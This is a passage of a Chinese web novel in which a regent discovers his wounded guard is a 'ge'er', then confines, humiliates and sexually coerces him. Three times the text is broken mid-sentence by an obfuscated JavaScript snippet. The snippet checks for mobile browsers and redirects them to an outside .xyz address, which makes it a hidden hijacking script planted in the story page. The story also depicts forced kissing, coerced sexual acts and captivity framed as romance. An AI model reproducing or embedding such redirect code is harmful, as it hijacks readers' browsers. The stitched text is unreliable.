整个前庭静默一片,唯有暴雨冲刷地面的哗哗声,敲打着每个人的耳膜。 陈锋猛地抬起头,脸上混杂着雨水和血污,他顾不上自己背脊火辣辣的剧痛,奋力挣脱压制,连滚爬扑到褚良身边。 “褚良!褚良!”陈锋的声音嘶哑破碎,他颤抖着伸出手,想碰触褚良,却又怕加重他的伤势。 褚良无声无息地趴在冰冷的泥泞血泊中。 雨水无情地冲刷着他苍白如纸的脸颊,冲刷着他背上那几道皮开肉绽的鞭痕。 宇文尚站在回廊下,玄色常服的下摆被雨水溅湿。 他死死盯着雨幕中那个了无生息的身影,方才胸中翻腾的暴怒、醋意、被挑衅的狂躁,如同被一盆冰水兜头浇下,瞬间冻结,只剩下一种从未有过的、尖锐到令他窒息的恐慌。 褚良……死了? 这个念头如同毒蛇,狠狠噬咬着他的心脏。 不!不可能! “太医!传太医!”宇文尚的声音带着自己都未曾察觉的颤抖。 他猛地推开挡在身前的王德全,竟是不顾身份,大步冲入滂沱大雨之中! 冰冷的雨水瞬间打湿了他的头发、脸颊和衣袍。 他几步冲到褚良身边,陈锋下意识地想要阻拦,却被宇文尚那噬人的眼神慑住,只能眼睁睁看着那尊贵无比的身影弯下腰。 宇文尚的手指探向褚良的颈侧。 当指尖感受到那极其微弱、如同游丝般的脉搏跳动时,他紧绷到极致的心弦才猛地一松。 还活着! 他毫不犹豫地俯身,双臂穿过褚良的腋下和膝弯,试图将他抱起。 入手却是惊人的冰凉和沉重,褚良的身体软绵绵的,毫无生气。 就在宇文尚用力将他抱起,褚良的身体微微翻转的瞬间—— “刺啦——” 一声轻微的裂帛声响起。 褚良身上那件早已被鞭子抽得破烂不堪、又被雨水浸透的侍卫服,因主人被翻动,竟沿着肩颈处撕裂开来! 一大片沾着血污和水渍的的肌肤猝不及防地暴露在冰冷的雨幕和宇文尚的视线之下! 雨水冲刷着那片肌肤,洗去些许污迹。 在那片苍白的、被雨水浸得微微透明的皮肤上,在靠近左胸心脏的位置——一枚鲜红如血、栩栩如生的展翅凤凰胎记,如同烙印般,赫然撞入宇文尚的眼帘! 那凤凰的形态极其特殊,羽翼舒展,尾翎华丽,在苍白的肌肤衬托下,红得惊心动魄! 宇文尚的瞳孔骤然收缩成针尖大小!抱着褚良的手臂猛地一僵,整个人如同被一道无形的惊雷劈中,瞬间僵立在暴雨之中! 哥儿?! 那个只在宫廷秘闻和医书记载中才出现过的、拥有孕育之能的特殊存在?! 巨大的震惊如同海啸般淹没了宇文尚。 他脑中一片空白,但身体的本能反应却快过思考。 就在王德全带着太医和侍从匆忙赶到前,宇文尚毫不犹疑的扯下自己身上的玄色外氅,严严实实地裹住了褚良的上半身,将那惊鸿一瞥的鲜红胎记彻底掩盖好。 “王……王爷!”王德全赶到,看到宇文尚用自己的外氅裹着褚良站在暴雨里,心头震惊万分。 宇文尚猛地回神。那双墨紫色的眼眸深处,翻涌着极其复杂的光芒,有震惊过后的余悸,有被愚弄的愠怒,但更强烈的,是一种被命运狠狠嘲弄的荒谬感和一种前所未有的占有欲。 这个秘密,绝不能让第二个人知道!他刚刚差点……亲手毁掉了一个如此惊世骇俗、只属于他的隐秘! “抬去暖阁!快!”宇文尚的声音沙哑,命令道, “太医跟上!王德全,清场!今日之事,谁敢泄露半句,格杀勿论!” 他的目光如同淬了冰的刀锋,扫过在场的每一个人,包括挣扎着想要跟上的陈锋。 “陈锋押下去,严加看管!没有孤的命令,谁也不许见!” 宇文尚在陈锋身上停留了一瞬,充满了浓浓的警告——这个人,触碰了他不该触碰的禁忌。 暖阁内,灯火通明。浓重的药味弥漫开来。 宇文尚屏退了所有闲杂人等,只留下心腹太医和王德全。 他亲自守在榻边,目光幽深地盯着太医的动作。 “只处理背后的鞭伤和肩胛旧伤,上最好的金疮药,内服驱寒固本的方子。” 宇文尚的声音低沉而充满压迫感,“身前,不必你们处理。更衣擦身,由孤来。” 太医和王德全心头剧震,不由看向床榻上的褚良,未曾想,此人在摄政王心中竟有如此分量! 二人连声应是,不敢多看一眼,只专注于处理褚良后背狰狞的伤口。 宇文尚就坐在他们侧旁的圈椅里,眼睛盯着他们动作。 不知过了多久,太医终于处理完后背的伤口,又开了内服的方子,战战兢兢地禀报,“王爷,万幸!褚侍卫虽失血过多,伤势沉重,但筋骨未损,心脉尚存。寒气已入体,今夜恐有凶险高热,需万分仔细看护。” “下去,在门外候着。药煎好了立刻送来。”宇文尚挥挥手,声音听不出喜怒。 太医和王德全如蒙大赦,连忙躬身退下,暖阁内只剩下宇文尚和昏迷不醒的褚良。 烛火跳跃,在褚良苍白的脸上投下明明灭灭的光影。 宇文尚缓缓在榻边坐下,目光如同最精密的探针,一寸寸扫过这张熟悉又骤然变得无比陌生的脸。 震惊的余波仍在胸腔激荡,但一种更强烈的、几乎要破膛而出的情绪正在疯狂滋长——狂喜! 是了!是了! 原来如此! 困扰他多时的谜题,那些因褚良而起的、不合常理的怒火、莫名的心绪起伏……一切都有了最完美、最合理的解释。 他并非对一个低贱的侍卫产生了不该有的情愫,不是他失了分寸。 而是眼前这个人……他根本就不是一个真正的男人,他是一个哥儿! 一个天生就带着魅惑、专为取悦上位者而生的低贱存在! 这个认知如同甘霖,瞬间浇灭了宇文尚因被欺瞒而起的怒火,只剩下一种拨云见日般的、近乎癫狂的狂喜! 困扰他多时的自我怀疑和失控感找到了完美的解释——不是他的错,是褚良的错! 是这个哥儿用他低贱的身体和那份故作忠良的姿态,一直在无声地勾引着他,从围场那惊鸿一箭开始,或许就是一场精心策划的接近! 宇文尚伸出手指,带着一种亵渎虔诚的兴奋,轻轻抚上褚良紧锁的眉头,沿着他挺直的鼻梁,最后,落在了那失去血色的、形状姣好的唇瓣上。 触感冰凉而柔软,却像带着无形的钩子。 他的指尖流连片刻,带着一种终于可以“名正言顺”触碰的餍足感,最终,以滚烫的温度和不容抗拒的力道,缓缓下移,覆上了那枚鲜红的、如同烙印般的凤形胎记。当指尖触碰到那胎记的瞬间,宇文尚的身体猛地一震! 一股难以言喻的灼热感,仿佛带着电流,瞬间从指腹窜入他的四肢百骸! 那胎记本身,竟也在他触碰下,颜色变得更加艳丽深邃,隐隐散发着微光! 果然是……哥儿! 这奇异的感觉,就是最有力的佐证! 宇文尚的呼吸陡然变得粗重,墨紫色的眼眸深处燃起两簇幽暗的火焰,那火焰里交织着终于解开谜题的释然、被强烈吸引的沉迷,以及肆无忌惮的占有欲。 他俯下身,灼热的呼吸喷洒在褚良的耳廓,声音低沉沙哑,带着一丝被压抑许久后宣泄的疯狂,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“卑职?”宇文尚的嘴角勾起一抹嘲讽的弧度,声音如同毒蛇吐信,一字一句清晰地敲打在褚良濒临崩溃的神经上,将他心中最后一点侥幸彻底碾碎。 “孤倒是小瞧你了。一个哥儿,竟敢混入军中,欺君罔上……” 他的声音陡然转厉,带着尖锐的质问和怀疑,为自己的占有寻找着“合理”的支点, “说!当初你射杀猛虎,是不是有意为之?为了能爬到孤的身边,蓄谋已久?嗯?” 宇文尚俯身逼近,灼热的气息喷在褚良惨白的脸上,那双墨紫色的眼眸如同深不见底的寒潭,翻涌着风暴,他用力捏住褚良下巴,迫使对方直视自己, “陈锋知道么?他看过你的身子没有?” “你在军中……有没有被人弄过?” “除了勾引孤,你还勾引过谁?!” 一连串带着羞辱意味的质问,如同淬毒的鞭子,狠狠抽打在褚良的心上。 他脸色惨白如鬼,嘴唇哆嗦着,巨大的屈辱和冤屈让他几乎窒息。 泪水无法控制地汹涌而出,混合着额角的冷汗,无声地滑落鬓角。 “没有……王爷……”褚良艰难地、破碎地吐出几个字,声音里充满了绝望,“卑职……没有……” 他根本不明白王爷为什么要这样污蔑他,射杀猛虎是本能,他从未想过攀附! 与陈锋是兄弟情谊!他在军中更是谨小慎微,何曾勾引过谁?! 看着褚良这副脆弱绝望、泪流满面、急于否认却又百口莫辩的模样,宇文尚心中那团邪火却烧得更旺,也更“理直气壮”。 看,他还在装!这楚楚可怜的模样,不正是勾引的手段?这个哥儿自己送上门来,欺骗在先,勾引在后!他宇文尚不过是……揭穿了他! “没有?”宇文尚的声音陡然拔高,带着暴戾和一种近乎偏执的占有欲,捏着褚良下巴的手更加用力,仿佛要将他的骨头捏碎, “那你告诉孤,你费尽心机隐藏身份,潜伏到孤身边,所图为何?这世上,还有比孤身边更好的去处吗?!” 暖阁内,烛火猛地一跳。 窗外,暴雨依旧滂沱,仿佛要淹没整个世界,也彻底淹没了褚良眼中最后一丝微弱的光芒。 13. 第 13 章 暖阁内,烛火摇曳。 褚良的体温在入夜后毫无征兆地急剧攀升。 药效带来的昏沉被体内肆虐的火焰驱散,取而代之的是无边无际的滚烫和干渴。 他如同被抛入熔炉,意识在灼烧中浮沉。破碎的呻吟逸出干裂的唇瓣,身体无意识地扭动,牵动背后的伤口,带来一阵阵撕裂般的剧痛。 就在褚良感觉自己快要被这无形的火焰吞噬时,一只微凉的手掌覆上了他的额头。 紧接着,一块浸透了冷水的帕子轻柔地、仔细地擦拭过他滚烫的额头、脸颊、脖颈。 动作是温柔的,带着一种奇异的耐心。 然而,褚良残存的意识却因为这触碰而瞬间绷紧,是宇文尚! 他努力睁开沉重的眼皮,视线模糊中,只看到宇文尚那张俊美却毫无波澜的脸近在咫尺。 烛光在他墨紫色的眼眸深处跳跃,如同深潭中潜伏的冷焰。 那眼神,不像是在照顾病人,更像是在观察一件稀有的猎物。 “王爷……”褚良的声音嘶哑,偏过头,想躲开那冰凉的擦拭。 “别动。”宇文尚的声音低沉,听不出情绪,手上的动作却带着霸道的力道,将他牢牢按住。 “发热了,老实躺着。” 冰凉的帕子再次落下,带来短暂的舒适,却更让褚良感到毛骨悚然。 宇文尚亲自照顾他?这比鞭子抽在身上更让他恐惧! 他能清晰地感觉到宇文尚的目光如同实质的枷锁,锁在他的脸上,尤其是当那擦拭的动作不经意间滑过他脖颈、靠近锁骨时,褚良几乎能感觉到对方指尖下隐含的、对他胸前胎记位置的探寻欲望。 每一次触碰,每一次目光的停留,都让他感觉自己像一只被猛禽利爪按在岩石上的兔子,脆弱无助,生死只在对方一念之间。 这所谓的“照顾”,不过是宇文尚在确认猎物的状态,宣示着绝对的占有权。 温暖舒适的暖阁,此刻如同金丝囚笼。 褚良闭上眼,他已经没有力气再挣动,只能僵硬地承受着这令人窒息的好意。 宇文尚似乎很满意他的顺从。 他的动作有条不紊,喂水、换冷帕、甚至在褚良因高热而痛苦呻吟时,小心润湿他干裂的唇。 整个过程,他沉默着,但那双眼睛,却始终没有离开过褚良。 夜渐深沉。 褚良在药物和高热的双重作用下,意识时而模糊时而清醒。每次短暂的清醒,他都能看到宇文尚依旧坐在榻边,玄色的身影在烛光下被拉长,如同沉默的守护神,却散发着令人不寒而栗的威压。 这一夜,在高热的煎熬和宇文尚的看管下,格外漫长。 翌日清晨,褚良的高热终于退去,但整个人如同被抽空了魂魄,脸色灰败地躺在榻上。身体的剧痛犹在,和疼痛一样深刻的,是他对未卜前途的恐惧。 宇文尚已换了一身干净的常服,正坐在窗边慢条斯理地用早膳,可能因为熬夜照顾病人的疲惫,并没有第一时间察觉到褚良的苏醒。 这时,王德全小心翼翼地进来禀报,“王爷,陈锋已被调往死牢充当牢头。” 陈锋被贬?! 褚良猛地一震,难以置信地看向宇文尚! 陈大哥……那个正直可靠、在他危难时伸出援手的人,竟被发配到那种地方?就因为他同自己去了庙会,陪自己罚跪? 陈锋是被他连累的,一股强烈的愧疚和不安瞬间攫住了他。他不能眼睁睁看着陈大哥被贬斥到那种暗无天日的地方! “王爷……”褚良挣扎着想撑起身子,声音因激动和虚弱而发颤, “陈都统忠心耿耿,恪尽职守……此次受罚,全因卑职连累……求王爷开恩,念在他过往功劳,从轻发落……卑职……卑职愿代他受罚!” 他几乎是匍匐在榻上,额头抵着冰冷的床沿,姿态卑微到了尘埃里。 宇文尚手中的玉箸“啪”地一声重重拍在桌上。 他缓缓转过头,俊美的脸上笼罩着一层寒霜,墨紫色的眼眸中翻涌着骇人的风暴。他看着榻上那个为了另一个男人苦苦哀求的褚良,胸中那股被强行压下的邪火和妒意瞬间爆燃! “呵……”冷笑从宇文尚唇边溢出。他站起身,一步步走到榻前,居高临下地俯视着褚良。 “你为他求情?要代他受过?”宇文尚的声音不高,却字字如冰锥,“你是嫌自己的罪还不够重?” 闻言,褚良惊惧抬头,到底,自己也逃不过身份的惩罚…… 宇文尚的声音带着带着一种宣判的意味, “褚良,欺君罔上,混入军营,此乃诛九族的大罪。” “以哥儿卑贱之身,妄图攀附,潜伏王府,更是其心可诛!” “若非念在你曾救过孤,行事尚算本分……”宇文尚的声音顿了顿,带着一种施舍般的冷意,“孤岂容你活到今日?” 每一个字,都像冰冷的钉子,狠狠楔入褚良混沌的大脑。 欺君?攀附?潜伏?不!不是这样的!他想反驳,想呐喊,可喉咙如同被堵住,只能发出无意义的嗬嗬声,冷汗沁满全身。 宇文尚似乎并不需要他的回应,自顾自地继续说道,声音带着一种掌控一切的笃定, “从今往后,认清你自己的身份。你不再是王府副都统,你只是孤身边的一个……物件。” “收起那些不该有的心思,安分守己才是你该做的。为陈锋求情?你求的越情真意切,就越是在害他!” 言罢,不顾褚良呆滞的神情,宇文尚冲守在屋外的王德全高声道, “王德全,听旨,将陈锋贬为死牢看守,立即逐出王府。” 这些话,如同最锋利的刀刃,将褚良残存的尊严和对未来的微弱幻想彻底绞碎。 原来在王爷眼中,他所有的忠诚、努力、甚至那无法选择的出身,都成了“攀附”、“勾引”的罪证!他被彻底钉在了耻辱柱上,永世不得翻身,甚至还因此牵连了好友。 褚良被这劈头盖脸的羞辱砸得浑身发抖,脸色惨白如纸,但这次,他没有沉默,而是鼓起勇气辩解,“王爷,不是的,陈锋罪不至此,他……” “闭嘴!”宇文尚厉声打断,猛地俯身,一把攥住褚良的下巴,力道大得几乎要捏碎他的骨头! 他强迫褚良抬起头,对上自己那双燃烧着怒火和占有欲的眼睛。 “你是什么东西?一个下贱的哥儿,靠着几分姿色和心机爬到了孤的身边,真当自己是什么人物了?” 宇文尚的声音带着一种被冒犯的狂怒,他盯着褚良因痛苦和屈辱而泛红的眼角、那失去血色的唇瓣,一种暴虐的冲动骤然涌起。 “不知廉耻的狐狸精!勾引了孤还不够,心里还想着别的野男人?!” 宇文尚的声音陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356380|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然拔高,充满了被背叛的狂怒。 话音未落,他猛地低下头,带着惩罚和宣示的意味,狠狠攫住了褚良干裂苍白的唇! “唔——!” 褚良惊恐地睁大了眼睛,浑身僵硬如石!唇上传来的不是温存,而是粗暴的碾压和啃噬,带着浓重的惩罚意味和不容抗拒的占有欲! 宇文尚的舌如同攻城略地的凶器,强行撬开他紧闭的牙关,在他口中肆虐,带着血腥的铁锈味——不知是咬破了他的唇,还是自己的。 褚良奋力挣扎,双手徒劳地推拒着宇文尚坚实的胸膛,却如同蚍蜉撼树。背后的鞭伤因剧烈的动作被狠狠撕裂,剧痛让他眼前阵阵发黑。 宇文尚的吻野蛮而漫长,直到感受到褚良因窒息和剧痛而彻底脱力,身体软了下去,才意犹未尽地松开。 他微微喘息,看着身下人红肿破皮的唇瓣、泪痕斑驳的脸颊、以及眼中彻底破碎的光芒,心中那股暴戾的怒火似乎得到了某种扭曲的宣泄。 他伸出拇指,带着一种狎昵的意味,重重擦过褚良唇上渗血的伤口,语带施舍的道, “看在你伤重的份上,孤今日暂且饶你。记住你的身份,安分些。” “等过些日子,你身子好些了……”宇文尚的指尖划过褚良苍白冰凉的脸颊,眼神幽暗难测,“孤赐你个良侍的名分。” “良侍?”褚良茫然地重复,他以为那是什么能重获自由和尊严的身份。 “呵,”宇文尚的笑容里带着毫不掩饰的轻蔑,“传说圣祖皇帝后宫有一位哥儿,平日里插花穿裙,争风吃醋,比女子更甚,圣祖皇帝见他有趣,便赐了良侍的位分。” 他的目光如同实质的鞭子,抽打在褚良身上,“待你破了身子,做了良侍,也得插花穿裙,学着好好伺候主子才行。” 插花……穿裙……做妾…… 这几个字如同最恶毒的诅咒,狠狠劈入褚良混沌的意识! 他眼前仿佛出现了自己被迫穿上女装,插着绢花,如同玩物般被人观赏、玩弄的景象……那是比死更可怕的羞辱! 是对他身为“人”的最后一点尊严的彻底践踏! 屈辱和绝望瞬间淹没了褚良。他死死咬住下唇,直到尝到更浓重的血腥味,才抑制住那几乎要冲破喉咙的悲鸣。 宇文尚看着他眼中彻底熄灭的光芒,看着他因绝望而剧烈颤抖的身体,满意地直起身,他理了理微皱的衣袖。 “好好养着。” 丢下最后一句冰冷的话语,他转身离开了暖阁。 沉重的关门声隔绝了最后一丝光线。 褚良如同被抽走了所有力气,瘫软在冰冷的榻上。 他终于明白了。 在宇文尚眼中,他从来不是什么副都统,不是什么忠心的侍卫,甚至不是一个完整的人。 他只是一个低贱的、可以随意处置、随意羞辱的玩物。 一个因“欺君”、“勾引”而获罪,被施舍了一条性命,未来还要被剥夺最后一点尊严,穿上女装做“良侍”的……禁脔。 他和宇文尚之间,隔着无法逾越的天堑。 对方是执掌生杀予夺的摄政王,而他,只是对方掌心一只随时可以被捏死的蝼蚁。 这份认知带来的绝望,比死更冰冷,更窒息。 他蜷缩起身体,将脸深深埋进带着药味的被褥里,无声的泪水浸湿了冰凉的锦缎。 14. 第 14 章 暖阁的门沉重地关上,将宇文尚最后那句冰冷的“良侍”羞辱也隔绝在外。 褚良瘫软在冰冷的榻上,如同被抽走了所有骨头,连呼吸都带着撕裂的痛楚。 插花穿裙,做那低贱的玩物……这个认知带来的屈辱,比背后的鞭伤更痛彻骨髓。 然而,预想中的进一步折辱并未立刻降临。 褚良的伤处被精心照料着,换药的太医是宇文尚的心腹,他医术精湛,更重要的是,他沉默如哑巴,褚良从未见他在自己面前开过口。 诊疗所需皆是顶级,宇文尚从未错过一次看诊,每每不放心似的在旁盯着。 “今日感觉如何?”宇文尚的声音听不出情绪,目光却牢牢锁在褚良脸上,尤其在他不经意间裸露的脖颈锁骨处流连。 褚良垂眸,声音干涩,“好多了。” “好多了?”宇文尚走近榻边,俯身,指尖带着不容抗拒的力道抬起褚良的下巴,迫使他看向自己。 那双墨紫色的眼眸深不见底,“看来孤的药很有效。记住,你的命是孤给的,你的身子也是孤的。养好了,才能好好伺候孤。” 伺候…… 这两个字如同针扎,让褚良身体微僵,却不敢挣脱。 宇文尚似乎很满意他的“温顺”,松开手,语带着施舍的道, “这暖阁闷得慌。明日,孤派人送你去城郊的‘静园’养伤。那里清净,适合你。” 静园?褚良心下一沉,那是宇文尚的私人别院,守卫森严,远离人烟。 这哪里是养伤,分明是更严密的囚禁,将他彻底与外界隔绝,从此只能活在宇文尚的掌控之下! “王爷……”褚良试图开口,却被宇文尚冰冷打断。 “怎么?不乐意?”宇文尚的眼神瞬间转厉, “还是想着那个被贬到死牢的陈锋?孤说过,收起不该有的心思!安分守己,才是你唯一的出路!” 他话语中的警告意味浓重,显然是想要彻底掐灭褚良各种可能的念头。 面对这样的宇文尚,褚良只能选择默默隐忍,他本来的肩伤就没好利索,又添背伤,当下并不是逞强的时候。 静园果然如褚良所料,精致却孤绝。 他被安置在一处临水暖阁,窗外是精心打理却透着寂寥的庭院。 守卫无声,仆从沉默,仿佛整个世界只剩下他和宇文尚。 虽然静园地处远郊,但宇文尚并未将他丢在这里自生自灭。 相反,他来得相当频繁。 通常,他会在午后处理完朝政后过来。 而在他不在静园的期间,似乎是怕褚良闲下来就胡思乱想,宇文尚会给他带点解闷的小玩意。 一次,他带来了一枚小巧的飞镖,和一个悬在墙角的软木靶子。 “伤没好利索,拉不得“飞星”。玩玩这个,别把手生了。” 宇文尚的语气带着一种不容置喙的“关怀”,仿佛这真是为了褚良好。 褚良只能沉默地接过飞镖,在宇文尚的注视下,一下下掷向靶心。宇文尚有时会指点几句,更多时候只是静静地看着他专注的侧脸,目光幽深难测。 这种时候,暖阁内竟弥漫着一种诡异的平静,让褚良恍惚间仿佛回到了从前被王爷教导武艺的时光,心头的绝望会稍稍松动一丝缝隙。 后来,宇文尚又不知从哪里弄来了一只雪白滚圆的小奶猫。 那小猫怯生生地,被宇文尚直接塞进了褚良怀里。 “孤瞧你整日闷着,跟个闷葫芦似的。让它陪陪你。” 宇文尚看着褚良小心翼翼的抱住那团轻盈柔软的生命,看着他眼中的惊愕和柔软,嘴角勾起一抹几不可察的弧度。 褚良笨拙地抚摸着猫咪细软的绒毛,那温热的触感和细弱的呼噜声,奇异地抚平了他心口一点尖锐的痛楚。 他抬头,撞上宇文尚正凝视着他的目光,那目光里没有了平日的冰冷审视,竟带着一种……近乎满意的柔和? 褚良心头一跳,慌忙低下头,指尖无意识地蜷缩,捏紧了小猫柔软的皮毛。 这些突如其来的“善意”,比鞭子更让他惶恐不安。 最让褚良恐惧和羞耻的,是宇文尚越来越肆无忌惮的亲昵。 “良儿,过来,为孤更衣。” 宇文尚处理完公务,带着一身疲惫和威压踏入静园暖阁,径直张开双臂,语气理所当然,如同吩咐一件再正常不过的事。 褚良的身体却瞬间僵硬,脸上血色褪尽。 “王爷……卑职……”他本能地后退一步。 “嗯?”宇文尚的眼神瞬间沉冷下来,带着明显的不悦, “怎么?连这点小事都做不好了?还是说……你心里还念着别人?”他步步逼近,高大的身影带着强烈的压迫感。 褚良被他眼中的寒意慑住,只能硬着头皮上前,颤抖着手去解他腰间繁复的玉带。 指尖不可避免地触碰到那玄色锦袍下坚实温热的躯体,褚良如同被烫到般猛地一缩。 “躲什么?”宇文尚一把攥住他退缩的手腕,力道大得惊人,猛地将他拉入怀中! 清冽的龙涎香混合着男性强烈的气息瞬间将褚良包围。他惊惶抬头,正对上宇文尚俯视下来的、翻涌着浓烈欲望的墨紫色眼眸。 “记住,孤是你的男人,是你唯一的主子!” 宇文尚的声音低沉沙哑,带着灼热的霸道,“你身上每一寸,都是孤的!早晚都是孤的人,有什么可羞的?” 话音未落,他已低头狠狠攫住了褚良的唇! 不再是惩罚性的粗暴,却同样带着不容抗拒的强势和深入骨髓的占有。 唇舌的纠缠炽热而漫长,褚良被他紧紧箍在怀中,被迫承受着这令人窒息的掠夺,背后的伤口隐隐作痛,心中更是屈辱翻腾,身体却因虚弱和对方的强势而无法挣脱,只能僵硬地承受。 有时,宇文尚还会留宿在静园。 他会在深夜处理完密报后,带着一身风霜赶到暖阁,径直掀开褚良的锦被躺进去,强势地将褚良劲瘦的身体搂进怀里,灼热的大手在他腰背间流连,带着不容拒绝的暖意,却也带着令人心惊的欲望。 “别动,孤乏了。”他的声音带着浓重的睡意,下巴抵在褚良的发顶,手臂却如同铁箍。 褚良僵直着身体,一动不敢动。 他能清晰地感觉到身后那具躯体散发的热度和某些不容忽视的存在。 宇文尚的呼吸喷在他的颈侧,带着酒气的灼热,偶尔会在他耳后或颈侧落下细碎的、带着占有意味的吻。 更让褚良羞愤欲死的是,宇文尚会抓着他的手,逼他用生涩而屈辱的方式“伺候”。 每次结束后,宇文尚会餍足地搂紧他,亲吻他汗湿的额角或紧闭的眼睑,声音带着事后的慵懒和一种扭曲的亲昵,“好良儿……真乖……” 仿佛他做了一件多么值得褒奖的事。 褚良的心就在这冰与火的炼狱中反复煎熬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356381|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有时,王爷心情好时,会像从前一样与他谈论边疆战事,分析朝堂局势,甚至考校他新学的治国策论。 褚良不禁恍惚,仿佛那些羞辱和囚禁从未发生,他还是那个被王爷寄予厚望的副都统。 宇文尚侃侃而谈时那专注而富有魅力的侧脸,会让他心底那点微弱的、名为“敬仰”的火苗死灰复燃。 但更多时候,宇文尚进门便是强势的搂抱、炽热的亲吻和露骨的言语挑逗。 “等你这身子彻底养好了,”他会咬着褚良的耳垂,声音暧昧而危险,“孤就要你一整夜……你给孤生个像孤的小崽子……” 每每此时,褚良便如坠冰窟,刚刚升起的些许暖意瞬间被冻结、粉碎。 生……生孩子?像宇文尚一样?这个念头带来的不是喜悦,而是更深的恐惧和绝望。他感觉自己就像一件被精心养护、只待主人拆封享用的礼物。 又一夜,宇文尚似乎饮了不少酒。 他带着浓重的酒气和比平日更深的疲惫踏入暖阁。 屏退所有人后,他没有像往常一样立刻纠缠褚良,而是重重地倒在榻上,将褚良紧紧搂在怀里,头埋在他颈窝,呼吸灼热而沉重。 褚良以为他又要……身体瞬间绷紧。但宇文尚只是紧紧地抱着他,许久没有动作。就在褚良以为他睡着了的时候,一声极低、带着浓浓倦意的叹息在他耳边响起, “良儿……孤好累……” 褚良心头猛地一跳,屏住了呼吸。 “那个小崽子……越来越不老实了……”宇文尚的声音含混不清,像是梦呓,又像是压抑已久的倾诉,“还有北边……狄戎又在集结……虎视眈眈……可国库……空的能跑马……哪里还经得起一场大战……” 他的手臂无意识地收紧,将褚良箍得更紧,仿佛要从他身上汲取一丝暖意和慰藉,“……只有在你这里……才有片刻的清净……” 他的声音渐渐低了下去,最终化为平稳而沉重的呼吸。 宇文尚睡着了。 褚良却彻底僵住,睁大了眼睛,在昏暗的烛光下,怔怔地看着近在咫尺的睡颜。 褪去了平日的冷硬威严和偏执狂躁,此刻的宇文尚眉头微蹙,眼下的青影清晰可见,俊美的脸庞上写满了深沉的疲惫和一种褚良从未见过的……脆弱? 那些醉语如同投入死水的石子,在他混乱的心湖中激起一圈圈涟漪。 小皇帝的不安分,北疆的威胁,国库的空虚……这些沉重的压力,原来一直压在这个看似无所不能的男人肩上。 那句“只有在你这里,才有片刻的清净”,更是带着一种难以言喻的复杂意味,狠狠撞在褚良心上。 他把自己当成什么?一个发泄欲望的禁脔?还是一个……可以短暂停泊的港湾? 褚良看着宇文尚沉睡中依旧紧锁的眉头,看着他卸下所有防备后流露出的脆弱,心中百味杂陈。 恨意、屈辱、恐惧依旧如同毒藤缠绕,但此刻,竟悄然混入了一丝连他自己都不愿承认的、极其复杂的……酸涩与迷茫。 他轻轻动了动被压得发麻的手臂,想挣脱那滚烫的怀抱,却又怕惊醒对方。最终,只能僵硬地躺着,任由宇文尚灼热的呼吸喷洒在颈侧。 他在黑暗中睁着眼睛,直到窗外天色微明。 这一夜,褚良的心,比任何时刻都要混乱。 金丝囚笼依旧冰冷,但笼中鸟的心绪,却已悄然起了连它自己都无法掌控的变化。 15. 第 15 章 静园的时光在表面的平静下流淌。 褚良背后的鞭伤已结痂脱落,留下纵横交错的浅粉色印记,身体也恢复了七八成力气。 宇文尚的表现依旧那样矛盾,令褚良心绪混乱。 白昼里处理堆积如山的奏报时,他是那个目光如炬、言出法随的摄政王,偶尔和褚良探讨政务时,会投来赞赏的眼神;入夜后,他时常留宿,搂抱亲吻依旧强势,虽未真正占有,狎昵的“伺候”和露骨的“生子”宣言却从未停止。 褚良的心如同被反复抛向高空又狠狠掼下的瓷器,在微弱的希冀与冰冷的绝望间碎裂又弥合,疲惫不堪。 然而,平静很快被外界的惊雷打破。 朝堂的气氛一日紧过一日。 宇文尚回静园的时间明显减少,即便回来,眉宇间的阴鸷也浓得化不开。 王德全随侍时,神色也愈发凝重。 褚良虽被囚于方寸之地,但从仆役们低低的议论和宇文尚偶尔压抑着怒气的只言片语中,也拼凑出了山雨欲来的图景。 小皇帝宇文珏的动作越来越大胆。他利用宇文尚专注于北疆防务的间隙,暗中串联了一批被贬斥或心怀不满的旧勋贵和清流言官,在朝会上公然质疑宇文尚的“清丈田亩”政策,指责其“与民争利,动摇国本”,甚至有几个不怕死的御史,含沙射影地提起“牝鸡司晨,权柄过重”的旧调。 宇文尚的手段雷霆万钧,几个跳得最欢的官员被当廷夺职下狱,其家族产业被迅速查封,以儆效尤。 但这股暗流并未平息,反而在高压下变得更加隐蔽和危险。褚良能感觉到宇文尚身上那股被挑衅的、如同绷紧弓弦般的怒意。 朝廷的内斗还在其次,如今迫在眉睫的是北疆愈演愈烈的形势。 终于,八百里加急的军报如流星般接连传入京城——北方狄戎大举入寇!数万铁骑突破防线,连破三镇,烧杀掳掠,兵锋直指北疆重镇雁门关! 军报上“尸横遍野”、“告急求援”的血红字眼触目惊心。朝野震动,恐慌在不受控制的蔓延。 当褚良从送药的哑仆那紧张的手势和眼神中确认北疆战事爆发的消息时,一股沉寂已久的火焰猛地从他心底窜起! 战场!杀敌!报国! 这个念头如同久旱逢甘霖,瞬间点燃了他死水般的心境。 